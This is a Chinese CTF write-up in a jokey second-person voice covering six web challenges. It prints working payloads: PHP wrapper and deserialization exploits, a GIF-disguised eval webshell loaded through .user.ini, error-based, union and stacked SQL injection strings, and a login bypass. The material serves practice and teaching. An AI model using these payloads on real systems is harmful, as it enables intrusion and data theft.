快乐寒假2
你👱🏻滴快乐寒假 开始辽
因为你👱🏻再摸鱼滴话就要get out了
[ZJCTF 2019]NiZhuanSiWei
你👱🏻打开环境,一看要代码审计,很好,你👱🏻还有搜索的余地
这里利用data协议绕过 将welcome to the zjctf写入 而data://协议允许读入
先将welcome to the zjctf进行base64加密,结合提示的useless.php
然后写payload为
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
然后你👱🏻读出了useless.phpbase64加密的内容
进行base64解码得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这里又多少沾点反序列化的knowledge了
这里你👱🏻构造:
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
$a = serialize($a);
echo $a;
?>
得到:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造payload为
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
F12即可得到flag
[SUCTF 2019]CheckIn
你👱🏻打开发现是上传
然后你👱🏻就开始传
你👱🏻首先试了下php文件,发现不彳亍,php3 php5 phtml都get out了
改成jpg文件又说检测到<?内容
然后你👱🏻换成了
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传后有回显
但是这样还不够,这里只是图片🐴,还无法被解析执行,所以还需要文件包含漏洞。
这里还需要首先上传user.ini
GIF89a
auto_prepend_file=6.jpg
这里GIF89a?是作为一个图形文件欺骗,这里需要加上这个伪装图形文件绕过检测
再上传6.jpg
GIF89a?
<script language="php">eval($_GET['cmd']);</script>
但是你👱🏻不知道是蚁剑还是你👱🏻多少沾了点 怎么都连不上去,于是你👱🏻只能手动操作
把图片马换成system(“cat /flag”);
即为
GIF89a?
<script language=php>system("cat /flag");</script>
访问目录下index.php
即可得到flag
[极客大挑战 2019]HardSQL
我趣 又是这个银出的
经过测试 发现过滤了and = 空格 union等多个sql关键字
这下给你�逮住了�🏻
你👱🏻运用搜索引擎知道这里是要用updatexml报错注入
你👱🏻使用
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin
查到表为H4rDsq1
然后你👱🏻用
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin
查列为id,username,password
然后你👱🏻用
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin
查内容为
![](https://s2.loli.net/2022/01/19/HKOz4PFl1GLCyU9.png)
只有左半部分
这里用right()得到右半部分
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=asdf
记得合并还要去掉重复部分
[网鼎杯 2020 青龙组]AreUSerialz
你👱🏻打开网页 这里首先是进行一个代码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
你👱🏻:这是一个php反序列化题目,首先需要传入一个str,这个is_valid()规定了传入的每一个字符的ASCII🐴范围必须在32到125之间,然后会对这个str进行反序列化操作
在反序列化中首先会调用_destruct()析构方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
你👱🏻:这里可以看到 如果op ===”2”,那么op会被赋值为”1”,然后content会赋值为空,并且执行process()函数,这里if中是强类型比较。
这里看看process函数
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
你👱🏻:如果op == “1”,执行write()函数;如果op ==“2”,执行read函数,同时将结果赋值给$res,然后输出;否则将输出”Bad Hacker!”
这里 if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == “2”则为True,就可以进入read函数。
再看看read函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
你👱🏻:在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。
这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件。然后使用output函数输出。
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
那么整个过程就clear了
1.op=2
2.filename = "php://filter/read=convert.base64-encode/resource=flag.php
写出来就介🐏
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
这里有几个地方显示不了,原因是在于 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
这里可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
改为
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
即可
得到base64加密后的字符串,用base64解码后即可得到flag
[GXYCTF2019]BabySQli
你👱🏻尝试万能密码1’or 1=1–+ 显示密码错误
但是你👱🏻F12后看到上面绿色奇怪字符串
对其进行base32解码
这里你👱🏻先说说base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
明显,那段文字是base32加密
解码得到base64加密的
再用base64解码得到
select * from user where username = '$name'
然后你👱🏻用联合查询进行测试字段数
你👱🏻尝试user=admin&pass=123 提示为wrong pass再尝试user=aa提示wrong user,说明有admin这个user的。
你👱🏻尝试union联合注入,user=’ union select 1,2,3 #不报错,user=’ union select 1,2,3,4 #报错了
为1,2的时候也报错了,说明一共3个字段
既然知道是密码错误,又是admin这个账户的,接下来测试用户这个字段到底在哪一个字段当中。测试
1' union select 'admin',2,3#
可以发现user错误
而
1’ union select 1,’admin’,3#
是pass密码错误
所以第二个字段是user字段
知识点:
联合查询如果查询不存在的数据,会构造虚拟的数据
比如:
通过union select构造一行虚拟的数据
这样你👱🏻就可以利用联合查询来建造另外一行admin账户的续集数据,混淆admin用户的密码,将我们自定义的admin用户密码加进去(多少沾点无中生有)
于是你👱🏻在用户登录框输入
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
其中202cb962ac59075b964b07152d234b70为123的MD5值
登陆进去
成功拿到flag
[GYCTF2020]Blacklist
这道题是堆叠注入,union等关键词被过滤,正常注入无法进行
堆叠注入——使用分号结束上一个语句再叠加其他语句一起执行
你👱🏻首先查询列数
1' order by 2#
正常
1' order by 3#
报错
所以是两列
1' and 1=2;show databases#‘
1' and 1=2;show tables#
分别查询库和表
然后你👱🏻
1' and 1=2;desc `FlagHere`#
你👱🏻到这里卡住了一会,搜了一下发现
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
1' and 1=2; HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#